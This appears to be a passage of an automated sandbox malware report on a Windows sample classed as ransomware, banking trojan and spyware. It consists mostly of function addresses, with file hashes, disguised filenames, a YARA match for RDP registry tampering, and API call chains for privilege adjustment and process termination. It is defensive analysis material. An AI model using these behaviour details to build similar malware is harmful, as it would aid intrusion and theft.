Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6D248B	9_2_6C6D248B
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6D149E	9_2_6C6D149E
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C644544	9_2_6C644544
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6CB503	9_2_6C6CB503
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C67B5D7	9_2_6C67B5D7
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6605B3	9_2_6C6605B3
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6AF6C9	9_2_6C6AF6C9
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6A86B7	9_2_6C6A86B7
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C678689	9_2_6C678689
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6A4698	9_2_6C6A4698
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C645698	9_2_6C645698
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C67D768	9_2_6C67D768
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6B974B	9_2_6C6B974B
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6C67F5	9_2_6C6C67F5
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C69B07C	9_2_6C69B07C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6A2025	9_2_6C6A2025
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6A7003	9_2_6C6A7003
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C65E0D8	9_2_6C65E0D8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6D20A3	9_2_6C6D20A3
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C63E1C8	9_2_6C63E1C8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C68A192	9_2_6C68A192
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6B026A	9_2_6C6B026A
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C693266	9_2_6C693266
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C638279	9_2_6C638279
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6962E8	9_2_6C6962E8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6D42E1	9_2_6C6D42E1
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6C62A6	9_2_6C6C62A6
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6482B2	9_2_6C6482B2
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6A8368	9_2_6C6A8368
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C636374	9_2_6C636374
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C69E35C	9_2_6C69E35C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C69F32A	9_2_6C69F32A
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C6D93C9	9_2_6C6D93C9
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C66A386	9_2_6C66A386
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_6C69C38C	9_2_6C69C38C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_032FE051	9_2_032FE051
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03336358	9_2_03336358
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03300384	9_2_03300384
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03302294	9_2_03302294
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0330D124	9_2_0330D124
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0333A16D	9_2_0333A16D
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03301194	9_2_03301194
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0333E07A	9_2_0333E07A
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033080B4	9_2_033080B4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033590E8	9_2_033590E8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033437A4	9_2_033437A4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033417A6	9_2_033417A6
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033066F4	9_2_033066F4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0333A6EF	9_2_0333A6EF
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0333A434	9_2_0333A434
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03320474	9_2_03320474
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_032FF444	9_2_032FF444
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033314C4	9_2_033314C4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03339B51	9_2_03339B51
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0335ABE1	9_2_0335ABE1
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03339AA4	9_2_03339AA4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03305AC4	9_2_03305AC4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0335E922	9_2_0335E922
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033339C4	9_2_033339C4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03302814	9_2_03302814
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03300874	9_2_03300874
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033518EE	9_2_033518EE
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0333DE46	9_2_0333DE46
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03302EA4	9_2_03302EA4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03339EC3	9_2_03339EC3
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0335AD05	9_2_0335AD05
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0333DC12	9_2_0333DC12
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03300CE4	9_2_03300CE4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1000F100	9_2_1000F100
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10040056	9_2_10040056
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1000A090	9_2_1000A090
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1005B0C4	9_2_1005B0C4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1003C149	9_2_1003C149
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10003170	9_2_10003170
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10004270	9_2_10004270
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10038334	9_2_10038334
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10002360	9_2_10002360
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1003C410	9_2_1003C410
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10001420	9_2_10001420
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10022450	9_2_10022450
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100334A0	9_2_100334A0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1003C6CB	9_2_1003C6CB
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100086D0	9_2_100086D0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10045780	9_2_10045780
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10043782	9_2_10043782
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100047F0	9_2_100047F0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10002850	9_2_10002850
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100538CA	9_2_100538CA
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100608FE	9_2_100608FE
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100359A0	9_2_100359A0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1003BA80	9_2_1003BA80
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10007AA0	9_2_10007AA0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1003BB2D	9_2_1003BB2D
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1005CBBD	9_2_1005CBBD
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1003FBEE	9_2_1003FBEE
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10002CC0	9_2_10002CC0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1005CCE1	9_2_1005CCE1
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1003FE22	9_2_1003FE22
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10004E80	9_2_10004E80
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1003BE9F	9_2_1003BE9F
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C675835	10_2_6C675835
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C631112	10_2_6C631112
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C639CCA	10_2_6C639CCA
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6B9CC5	10_2_6C6B9CC5
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6D1CD1	10_2_6C6D1CD1
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C699D7B	10_2_6C699D7B
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6ABD48	10_2_6C6ABD48
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6C6D46	10_2_6C6C6D46
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C64CD32	10_2_6C64CD32
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6C1D12	10_2_6C6C1D12
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C68EDF5	10_2_6C68EDF5
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C67BDD0	10_2_6C67BDD0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C68DD8F	10_2_6C68DD8F
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6D8E6E	10_2_6C6D8E6E
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C638E60	10_2_6C638E60
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6A3E4C	10_2_6C6A3E4C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6A9E12	10_2_6C6A9E12
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C64AED7	10_2_6C64AED7
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6C7F37	10_2_6C6C7F37
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C64DF3F	10_2_6C64DF3F
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C64BFD7	10_2_6C64BFD7
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C64387C	10_2_6C64387C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C656973	10_2_6C656973
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6D1933	10_2_6C6D1933
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6B99C6	10_2_6C6B99C6
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6BB9D7	10_2_6C6BB9D7
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6709DA	10_2_6C6709DA
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6B5990	10_2_6C6B5990
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6BCAA5	10_2_6C6BCAA5
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C63EBF4	10_2_6C63EBF4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6A0BCC	10_2_6C6A0BCC
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C647BAA	10_2_6C647BAA
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C645BBD	10_2_6C645BBD
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C63B41A	10_2_6C63B41A
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6D248B	10_2_6C6D248B
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6D149E	10_2_6C6D149E
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C644544	10_2_6C644544
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6CB503	10_2_6C6CB503
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C67B5D7	10_2_6C67B5D7
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6605B3	10_2_6C6605B3
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6AF6C9	10_2_6C6AF6C9
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6A86B7	10_2_6C6A86B7
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C678689	10_2_6C678689
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6A4698	10_2_6C6A4698
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C645698	10_2_6C645698
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C67D768	10_2_6C67D768
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6B974B	10_2_6C6B974B
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6C67F5	10_2_6C6C67F5
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C69B07C	10_2_6C69B07C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6A2025	10_2_6C6A2025
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6A7003	10_2_6C6A7003
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C65E0D8	10_2_6C65E0D8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6D20A3	10_2_6C6D20A3
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C63E1C8	10_2_6C63E1C8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C68A192	10_2_6C68A192
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6B026A	10_2_6C6B026A
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C693266	10_2_6C693266
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C638279	10_2_6C638279
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6962E8	10_2_6C6962E8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6D42E1	10_2_6C6D42E1
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6C62A6	10_2_6C6C62A6
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6482B2	10_2_6C6482B2
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6A8368	10_2_6C6A8368
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C636374	10_2_6C636374
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C69E35C	10_2_6C69E35C
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C69F32A	10_2_6C69F32A
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C6D93C9	10_2_6C6D93C9
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C66A386	10_2_6C66A386
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 10_2_6C69C38C	10_2_6C69C38C

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\6fjdie\DAPIjX8.exe E528455778D952ACFC5B330B378F2C53CC92E55CFEAB1C1E1DBB52E01D626BB4
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\6fjdie\MSVCP140.dll 885A0A146A83B0D5A19B88C4EB6372B648CFAED817BD31D8CD3FB91313DEA13D
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\6fjdie\VCRUNTIME140.dll F10727074BCB4375F276E48DA64029D370299768536157321FB4BD9B1997B898
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\6fjdie\libcef.dll DCD188D383CB6347BFED0F4E6209ABD579526E729B003C31C3A8B117C1475AF6

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: String function: 00641D20 appears 40 times
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: String function: 00641A4F appears 106 times
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: String function: 006389E3 appears 38 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 6C6B7ECE appears 72 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 6C6B9165 appears 42 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 6C6B3864 appears 346 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 6C63C822 appears 40 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 6C6B1F84 appears 938 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 6C6514FC appears 136 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 6C63CB4D appears 878 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 10039AC0 appears 60 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 6C6B7820 appears 148 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 03337AE4 appears 58 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 6C6C9148 appears 46 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 6C652962 appears 66 times
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: String function: 6C6B23D3 appears 38 times

Source: pXm5oVO3Go.exe, 00000000.00000000.1390795911.0000000000741000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameJumpLogin.exe( vs pXm5oVO3Go.exe
Source: pXm5oVO3Go.exe, 00000000.00000003.2446378352.0000000003A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs pXm5oVO3Go.exe
Source: pXm5oVO3Go.exe, 00000000.00000002.2608012130.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUplayCrashReporter.exe@ vs pXm5oVO3Go.exe
Source: pXm5oVO3Go.exe, 00000000.00000002.2608012130.0000000000877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUplayCrashReportero\ vs pXm5oVO3Go.exe
Source: pXm5oVO3Go.exe, 00000000.00000003.2443786424.0000000003A41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dllT vs pXm5oVO3Go.exe
Source: pXm5oVO3Go.exe, 00000000.00000002.2609492945.0000000003A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs pXm5oVO3Go.exe
Source: pXm5oVO3Go.exe, 00000000.00000002.2608654376.0000000000D40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs pXm5oVO3Go.exe
Source: pXm5oVO3Go.exe	Binary or memory string: OriginalFilenameJumpLogin.exe( vs pXm5oVO3Go.exe

Source: pXm5oVO3Go.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 9.2.DAPIjX8.exe.32fec24.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services
Source: 9.2.DAPIjX8.exe.31d9c24.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services
Source: 9.2.DAPIjX8.exe.31d9c24.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services
Source: 9.2.DAPIjX8.exe.32fec24.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services

Source: classification engine

Classification label: mal100.rans.bank.troj.spyw.evad.winEXE@6/8@3/3

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_03317F74 GetProcessHeap,RtlAllocateHeap,VirtualAlloc,VirtualAlloc,VirtualFree,VirtualProtect,GetLastError,FormatMessageW,LocalAlloc,OutputDebugStringA,

9_2_03317F74

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_036418EE OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,	0_2_036418EE
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_036418A4 AdjustTokenPrivileges,	0_2_036418A4
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_03641776 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,CloseHandle,AdjustTokenPrivileges,	0_2_03641776
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_100018A0 AdjustTokenPrivileges,	0_2_100018A0
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_100018EA OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,	0_2_100018EA
Source: C:\Users\user\Desktop\pXm5oVO3Go.exe	Code function: 0_2_10001772 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,CloseHandle,AdjustTokenPrivileges,	0_2_10001772
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03325554 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CreateToolhelp32Snapshot,LocalAlloc,Process32First,OpenProcess,K32EnumProcessModules,K32GetProcessImageFileNameA,lstrcpy,lstrcat,OpenProcessToken,GetTokenInformation,GlobalAlloc,GetTokenInformation,LookupAccountSidA,LookupAccountSidA,lstrcpy,GlobalFree,CloseHandle,lstrcpy,lstrlen,lstrlen,LocalSize,LocalReAlloc,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,K32GetProcessMemoryInfo,lstrcpy,CreateFileA,GetFileSize,CloseHandle,CloseHandle,Process32Next,LocalReAlloc,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	9_2_03325554
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03325FC4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,OpenProcess,K32GetProcessImageFileNameA,CloseHandle,OpenProcess,TerminateProcess,lstrlen,Sleep,DeleteFileA,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,Sleep,EnumWindows,	9_2_03325FC4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10027530 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CreateToolhelp32Snapshot,LocalAlloc,Process32First,OpenProcess,K32EnumProcessModules,K32GetProcessImageFileNameA,lstrcpy,lstrcat,OpenProcessToken,GetTokenInformation,GlobalAlloc,GetTokenInformation,LookupAccountSidA,LookupAccountSidA,lstrcpy,GlobalFree,CloseHandle,lstrcpy,lstrlen,lstrlen,LocalSize,LocalReAlloc,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,K32GetProcessMemoryInfo,lstrcpy,CreateFileA,GetFileSize,CloseHandle,CloseHandle,Process32Next,LocalReAlloc,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	9_2_10027530
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10027FA0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,OpenProcess,K32GetProcessImageFileNameA,CloseHandle,OpenProcess,TerminateProcess,lstrlen,Sleep,DeleteFileA,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,Sleep,EnumWindows,	9_2_10027FA0

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

